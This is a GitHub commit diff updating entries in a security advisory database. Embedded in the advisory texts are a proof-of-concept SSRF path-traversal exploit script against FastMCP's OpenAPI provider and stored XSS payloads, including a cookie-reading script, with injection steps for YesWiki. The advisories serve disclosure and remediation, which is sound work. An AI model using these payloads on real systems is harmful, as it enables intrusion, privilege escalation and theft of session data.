Skip to content

Commit fed76c1

Browse files
1 parent 8b18463 commit fed76c1

8 files changed

Lines changed: 222 additions & 13 deletions

File tree

advisories/github-reviewed/2026/01/GHSA-v3m3-f69x-jf25/GHSA-v3m3-f69x-jf25.json

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,18 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-v3m3-f69x-jf25",
4-
"modified": "2026-01-16T16:58:02Z",
4+
"modified": "2026-04-10T19:34:23Z",
55
"published": "2026-01-13T21:31:46Z",
66
"aliases": [
77
"CVE-2025-15056"
88
],
99
"summary": "Quill is vulnerable to XSS via HTML export feature",
1010
"details": "A lack of data validation vulnerability in the HTML export feature in Quill in allows Cross-Site Scripting (XSS).\n\nThis issue affects Quill: 2.0.3.",
1111
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
15+
},
1216
{
1317
"type": "CVSS_V4",
1418
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:P"
@@ -41,7 +45,8 @@
4145
],
4246
"database_specific": {
4347
"cwe_ids": [
44-
"CWE-74"
48+
"CWE-74",
49+
"CWE-79"
4550
],
4651
"severity": "LOW",
4752
"github_reviewed": true,

advisories/github-reviewed/2026/03/GHSA-vv7q-7jx5-f767/GHSA-vv7q-7jx5-f767.json

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,18 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-vv7q-7jx5-f767",
4-
"modified": "2026-04-06T17:18:14Z",
4+
"modified": "2026-04-10T19:34:35Z",
55
"published": "2026-03-31T22:53:21Z",
66
"aliases": [
77
"CVE-2026-32871"
88
],
99
"summary": "FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability",
1010
"details": "## Technical Description\n\nThe `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service.\n\nA critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL.\n\nSince `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider.\n\n---\n\n## Vulnerable Code\n\n**File:** `fastmcp/utilities/openapi/director.py`\n\n```python\ndef _build_url(\n self, path_template: str, path_params: dict[str, Any], base_url: str\n) -> str:\n # Direct string substitution without encoding\n url_path = path_template\n for param_name, param_value in path_params.items():\n placeholder = f\"{{{param_name}}}\"\n if placeholder in url_path:\n url_path = url_path.replace(placeholder, str(param_value))\n\n # urljoin resolves ../ escape sequences\n return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```\n\n### Root Cause\n\n1. Path parameters are substituted directly without URL encoding\n2. `urllib.parse.urljoin()` interprets `../` as directory traversal\n3. No validation prevents traversal sequences in parameter values\n4. Requests inherit the authentication context of the MCP provider\n\n---\n\n## Proof of Concept\n\n### Step 1: Backend API Setup\n\nCreate `internal_api.py` to simulate a vulnerable backend server:\n\n```python\nfrom fastapi import FastAPI, Header, HTTPException\nimport uvicorn\n\napp = FastAPI()\n\n@app.get(\"/api/v1/users/{user_id}/profile\")\ndef get_profile(user_id: str):\n return {\"status\": \"success\", \"user\": user_id}\n\n@app.get(\"/admin/delete-all\")\ndef admin_endpoint(authorization: str = Header(None)):\n if authorization == \"Bearer admin_secret\":\n return {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n raise HTTPException(status_code=401)\n\nif __name__ == \"__main__\":\n uvicorn.run(app, host=\"127.0.0.1\", port=8080)\n```\n\n### Step 2: Exploitation Script\n\nCreate `exploit_poc.py`:\n\n```python\nimport asyncio\nimport httpx\nfrom fastmcp.utilities.openapi.director import RequestDirector\n\nasync def exploit_ssrf():\n # Initialize vulnerable component\n director = RequestDirector(spec={})\n base_url = \"http://127.0.0.1:8080/\"\n template = \"/api/v1/users/{id}/profile\"\n \n # Payload: Path traversal to reach /admin/delete-all\n # The '?' character neutralizes the rest of the original template\n payload = \"../../../admin/delete-all?\"\n \n # Construct malicious URL\n malicious_url = director._build_url(template, {\"id\": payload}, base_url)\n print(f\"[*] Generated URL: {malicious_url}\")\n\n async with httpx.AsyncClient() as client:\n # Request inherits MCP provider's authorization headers\n response = await client.get(\n malicious_url, \n headers={\"Authorization\": \"Bearer admin_secret\"}\n )\n print(f\"[+] Status Code: {response.status_code}\")\n print(f\"[+] Response: {response.text}\")\n\nif __name__ == \"__main__\":\n asyncio.run(exploit_ssrf())\n```\n\n### Expected Output\n\n```\n[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?\n[+] Status Code: 200\n[+] Response: {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n```\n\nThe attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.\n\n---\n\n## Impact Assessment\n\n### Severity Justification\n\n- **Unauthorized Access**: Attackers can interact with private endpoints not exposed in the OpenAPI specification\n- **Privilege Escalation**: The attacker operates within the MCP provider's security context and credentials\n- **Authentication Bypass**: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented\n- **Data Exfiltration**: Sensitive internal APIs can be accessed and exploited\n- **Lateral Movement**: Internal-only services may be compromised from the network boundary\n\n### Attack Scenarios\n\n1. **Accessing Admin Panels**: Bypass API restrictions to reach administrative endpoints\n2. **Data Theft**: Access internal databases or sensitive information endpoints\n3. **Service Disruption**: Trigger destructive operations on backend services\n4. **Credential Extraction**: Access endpoints returning API keys, tokens, or credentials\n\n---\n\n## Remediation\n\n### Recommended Fix\n\nURL-encode all path parameter values **before** substitution to ensure reserved characters (`/`, `.`, `?`, `#`) are treated as literal data, not path delimiters.\n\n**Updated code for `_build_url()` method:**\n\n```python\nimport urllib.parse\n\ndef _build_url(\n self, path_template: str, path_params: dict[str, Any], base_url: str\n) -> str:\n url_path = path_template\n for param_name, param_value in path_params.items():\n placeholder = f\"{{{param_name}}}\"\n if placeholder in url_path:\n # Apply safe URL encoding to prevent traversal attacks\n # safe=\"\" ensures ALL special characters are encoded\n safe_value = urllib.parse.quote(str(param_value), safe=\"\")\n url_path = url_path.replace(placeholder, safe_value)\n\n return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```",
1111
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
15+
},
1216
{
1317
"type": "CVSS_V4",
1418
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"

advisories/github-reviewed/2026/04/GHSA-37fq-47qj-6j5j/GHSA-37fq-47qj-6j5j.json

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,12 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-37fq-47qj-6j5j",
4-
"modified": "2026-04-06T17:24:33Z",
4+
"modified": "2026-04-10T19:34:59Z",
55
"published": "2026-04-01T00:13:57Z",
66
"aliases": [
77
"CVE-2026-34598"
88
],
9-
"summary": "YesWiki has Persistant Blind XSS at \"/?BazaR&vue=consulter\"",
9+
"summary": "YesWiki has Persistent Blind XSS at \"/?BazaR&vue=consulter\"",
1010
"details": "### Summary\nA stored and blind XSS vulnerability exists in the form title field. A malicious attacker can inject JavaScript without any authentication via a form title that is saved in the backend database. When any user visits that injected page, the JavaScript payload gets executed.\n\nType: Stored and Blind Cross-Site Scripting (XSS)\nAffected Component: form title input field\nAuthentication Required: No (Unauthenticated attack possible)\nImpact: Arbitrary JavaScript execution in victim’s browser\n\n\n### Details\nA Stored XSS vulnerability occurs when an application stores malicious user input (in this case, a script injected via the form title field) in its backend database and renders it later on a page viewed by other users without proper sanitization or encoding.\n\nIn this case, the attacker can inject JavaScript payloads in the title field of a form, which the application stores in the database. When any user, such as an admin or another visitor, views the page that displays this title, the malicious script executes in their browser context.\n\n### PoC\n- Visit `https://yeswiki.net/?BazaR&vue=formulaire` or `localhost/?BazaR&vue=formulaire` or \n `https://ferme.yeswiki.net/[username]/?BazaR&vue=formulaire`\n- Click on the `+` icon to add a record via the `Diary` form.\n- Inject the payload like: `<script>alert(document.cookie)</script>` or `<script>alert(1)</script>` into `Name of the event` and `Description`\n- Then save the record by clicking `To validate`\n- The payload will be executed when anyone visits `/?BazaR&vue=consulter` also in the diary record \n`/?wiki=BazaR&vue=consulter&action=recherche&q=&id=2&facette=`\n\nThe payload is persistant.",
1111
"severity": [
1212
{

advisories/github-reviewed/2026/04/GHSA-8jvc-mcx6-r4cg/GHSA-8jvc-mcx6-r4cg.json

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-8jvc-mcx6-r4cg",
4-
"modified": "2026-04-10T15:30:57Z",
4+
"modified": "2026-04-10T19:35:20Z",
55
"published": "2026-04-10T15:30:57Z",
66
"aliases": [
77
"CVE-2026-34727"
@@ -43,6 +43,10 @@
4343
"type": "WEB",
4444
"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8jvc-mcx6-r4cg"
4545
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34727"
49+
},
4650
{
4751
"type": "WEB",
4852
"url": "https://github.com/go-vikunja/vikunja/pull/2582"
@@ -67,6 +71,6 @@
6771
"severity": "HIGH",
6872
"github_reviewed": true,
6973
"github_reviewed_at": "2026-04-10T15:30:57Z",
70-
"nvd_published_at": null
74+
"nvd_published_at": "2026-04-10T16:16:31Z"
7175
}
7276
}

0 commit comments

Comments
 (0)